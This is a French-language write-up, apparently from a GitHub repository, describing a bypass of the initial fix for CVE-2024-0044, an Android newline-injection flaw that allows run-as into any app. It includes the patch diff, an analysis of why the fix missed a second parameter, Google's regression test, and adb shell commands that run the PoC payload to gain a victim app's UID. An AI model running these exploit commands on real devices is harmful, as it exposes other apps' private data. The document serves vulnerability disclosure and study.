
RunAsAnyone : PoC et writeup pour contourner le correctif initial de CVE-2024-0044, une vulnérabilité Android de type run-as sur n'importe quelle application, permettant une élévation de privilèges depuis adb vers une application installée.
CVE-2024-0044/A-307532206 est une vulnérabilité de haute sévérité dans le framework Android qui permet à des attaquants disposant d'un accès adb d'exécuter du code arbitraire sous l'UID d'une application arbitraire. Elle a été découverte à l'origine par Tom Hebb de Meta Red Team X. Vous pouvez trouver de nombreux articles sur l'exploitation de cette vulnérabilité sur Internet, comme celui-ci et celui-là. Pour plus d'informations, consultez ce blog : https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html
Le correctif pour cette vulnérabilité est inclus dans le Bulletin de sécurité Android de mars 2024, mais j'ai maintenant trouvé une exploitation qui contourne le correctif. Le nouveau correctif est inclus dans le Bulletin de sécurité Android d'octobre 2024 sous le même identifiant CVE CVE-2024-0044. Les appareils Android 12-13 dont le niveau de correctif de sécurité est antérieur au 2024-10-01 sont vulnérables à ce problème.
Ce dépôt contient un PoC minimal reproductible et un write-up.
Le correctif a ajouté une validation pour le nom du package installateur passé au PackageManagerService :
diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java
index 2ca3e8f..02515cf 100644
--- a/services/core/java/com/android/server/pm/PackageInstallerService.java
+++ b/services/core/java/com/android/server/pm/PackageInstallerService.java
@@ -47,6 +47,7 @@
import android.content.pm.PackageManager;
import android.content.pm.ParceledListSlice;
import android.content.pm.VersionedPackage;
+import android.content.pm.parsing.ParsingPackageUtils;
import android.graphics.Bitmap;
import android.net.Uri;
import android.os.Binder;
@@ -601,17 +602,22 @@
// App package name and label length is restricted so that really long strings aren't
// written to disk.
- if (params.appPackageName != null
- && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+ if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {
params.appPackageName = null;
}
params.appLabel = TextUtils.trimToSize(params.appLabel,
PackageItemInfo.MAX_SAFE_LABEL_LENGTH);
- String requestedInstallerPackageName = (params.installerPackageName != null
- && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)
- ? params.installerPackageName : installerPackageName;
+ // Validate installer package name.
+ if (params.installerPackageName != null && !isValidPackageName(
+ params.installerPackageName)) {
+ params.installerPackageName = null;
+ }
+
+ String requestedInstallerPackageName =
+ params.installerPackageName != null ? params.installerPackageName
+ : installerPackageName;
if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
params.installFlags |= PackageManager.INSTALL_FROM_ADB;
@@ -935,6 +941,19 @@
throw new IllegalStateException("Failed to allocate session ID");
}
+ private static boolean isValidPackageName(@NonNull String packageName) {
+ if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+ return false;
+ }
+ // "android" is a valid package name
+ String errorMessage = ParsingPackageUtils.validateName(
+ packageName, /* requireSeparator= */ false, /* requireFilename */ true);
+ if (errorMessage != null) {
+ return false;
+ }
+ return true;
+ }
+
Vous pouvez voir que params.installerPackageName sera remis à null s'il ne s'agit pas d'un nom de package Android valide. Cependant, à la ligne suivante, requestedInstallerPackageName peut être installerPackageName lorsque params.installerPackageName est nul ou invalide.
Qu'est-ce que installerPackageName ?
Examinons la méthode createSessionInternal, dans laquelle le correctif a été ajouté :
@Override
public int createSession(SessionParams params, String installerPackageName,
String callingAttributionTag, int userId) {
try {
return createSessionInternal(params, installerPackageName, callingAttributionTag,
userId);
} catch (IOException e) {
throw ExceptionUtils.wrap(e);
}
}
private int createSessionInternal(SessionParams params, String installerPackageName,
String installerAttributionTag, int userId)
throws IOException{
}
Vous pouvez voir que installerPackageName est un argument séparé qui ne provient pas de param. Le correctif d'origine a validé params.installerPackageName, mais a oublié de valider installerPackageName.
Vous pouvez simplement utiliser le code d'exploitation original du blog de Tom Hebb pour le reproduire. Ce dépôt contient également un PoC minimal reproductible. Si vous voulez tester mon PoC, compilez-le, poussez l'apk généré vers /data/local/tmp/poc.apk, puis exécutez le code suivant avec adb shell :
APK=/data/local/tmp/poc.apk
PAYLOAD="@null
victim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"
run-as victim
remplacez <victim uid> par l'UID de l'application victime.
Si vous voulez rejouer, exécutez adb uninstall top.canyie.cve_2024_0044 et relancez le code ci-dessus.
Le problème semble évident, comment a-t-il échappé à tout le monde ?
Eh bien, Google a bien ajouté un test pour ce problème afin de s'assurer qu'il est corrigé :
// Set vulnerable 'appPackageName' and 'installerPackageName'
// for 'SessionParams' instance
final String vulnPackageName =
context.getPackageName() + "\n" + context.getPackageName();
final SessionParams params = new SessionParams(MODE_FULL_INSTALL);
params.setAppPackageName(vulnPackageName);
params.setInstallerPackageName(vulnPackageName);
final List<String> vulnerableFields = new ArrayList<String>();
runWithShellPermissionIdentity(
() -> {
// Create session using 'SessionParams' instance, get 'appPackageName' and
// 'installerPackageName' corresponding to session and abandon session later
final PackageInstaller packageInstaller =
context.getPackageManager().getPackageInstaller();
final int sessionId = packageInstaller.createSession(params);
final String vulnerableAppPackageName =
packageInstaller.getSessionInfo(sessionId).getAppPackageName();
final String vulnerableInstallerPackageName =
packageInstaller
.getSessionInfo(sessionId)
.getInstallerPackageName();
packageInstaller.abandonSession(sessionId);
// Without fix, 'appPackageName' and 'installerPackageName' does not undergo
// internal validation and are set to 'vulnPackageName' which contain '\n'
if (vulnerableAppPackageName != null
&& vulnerableAppPackageName.contains("\n")) {
vulnerableFields.add("'SessionParams.appPackageName'");
}
if (vulnerableInstallerPackageName != null
&& vulnerableInstallerPackageName.contains("\n")) {
vulnerableFields.add("'SessionParams.installerPackageName'");
}
});
String errorMessage =
"Device is vulnerable to b/307532206 !!"
+ " packages.list newline injection allows"
+ " run-as as any app from ADB"
+ " Due to : Fix is not present for ";
assertWithMessage(errorMessage.concat(String.join(" , ", vulnerableFields)))
.that(vulnerableFields)
.isEmpty();
Le test utilise l'API publique standard PackageInstaller qui ne permet pas de personnaliser installerPackageName. Dans l'API publique, installerPackageName est toujours défini sur le nom de package réel du Context fourni :
public int createSession(@NonNull SessionParams params) throws IOException {
try {
return mInstaller.createSession(params, mInstallerPackageName, mAttributionTag,
mUserId);
} catch (RuntimeException e) {
ExceptionUtils.maybeUnwrapIOException(e);
throw e;
} catch (RemoteException e) {
throw e.rethrowFromSystemServer();
}
}
Lorsque l'appelant est une application tierce, installerPackageName est garanti d'appartenir à l'appelant ; lorsque l'appelant est adb, il est toujours remis à null, donc cela semble correct :
String requestedInstallerPackageName =
params.installerPackageName != null ? params.installerPackageName
: installerPackageName;
if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
params.installFlags |= PackageManager.INSTALL_FROM_ADB;
// adb installs can override the installingPackageName, but not the
// initiatingPackageName
installerPackageName = null;
} else {
if (callingUid != Process.SYSTEM_UID) {
// The supplied installerPackageName must always belong to the calling app.
mAppOps.checkPackage(callingUid, installerPackageName);
}
// Only apps with INSTALL_PACKAGES are allowed to set an installer that is not the
// caller.
if (!TextUtils.equals(requestedInstallerPackageName, installerPackageName)) {
if (mContext.checkCallingOrSelfPermission(Manifest.permission.INSTALL_PACKAGES)
!= PackageManager.PERMISSION_GRANTED) {
mAppOps.checkPackage(callingUid, requestedInstallerPackageName);
}
}
}
Cependant, l'opération se produit après que requestedInstallerPackageName a été défini sur installerPackageName ; la valeur d'origine est donc conservée.
Mais s'ils exécutent le PoC original fourni par Tom Hebb au lieu d'écrire le leur, ils peuvent repérer le problème car la commande pm appelle la méthode createSession sous-jacente avec un installerPackageName personnalisé.
Une dernière question : pourquoi le problème n'a-t-il pas été détecté par quelqu'un d'autre alors que le PoC est publiquement accessible ?
Eh bien, cette vulnérabilité a été analysée, reproduite et exploitée par de nombreuses personnes sur Internet, et il existe un article écrit par Qidan He (flanker) du JD Dawn Security Lab (c'est un article très intéressant sur CVE-2024-31317 d'ailleurs) qui dit « 其中CVE-2024-0044因简单直接,在技术社区已经有了广泛的分析和公开的exp » (« CVE-2024-0044 a été largement analysée et exploitée publiquement dans la communauté technique parce qu'elle est simple et directe »), cependant personne ne l'a remarqué, comme si tout le monde était sous un charme.
En fait, quelqu'un a réussi à reproduire l'exploitation sur des builds corrigés, mais l'auteur ne semble pas avoir réalisé ce qui s'était passé. Je l'ai trouvé grâce à une revue de code et je l'ai signalé le 16 mai 2024, 2 mois après la publication du correctif d'origine. Si quelqu'un avant moi avait pris quelques secondes de plus pour examiner attentivement le correctif, ou simplement essayé d'exécuter le PoC sur des builds corrigés pour voir si le problème était réellement résolu, la prime de bug lui serait revenue. Cela ressemble à une parole de chanson chinoise, « 再多看一眼就会爆炸 » (« Un regard de plus et ça explosera »).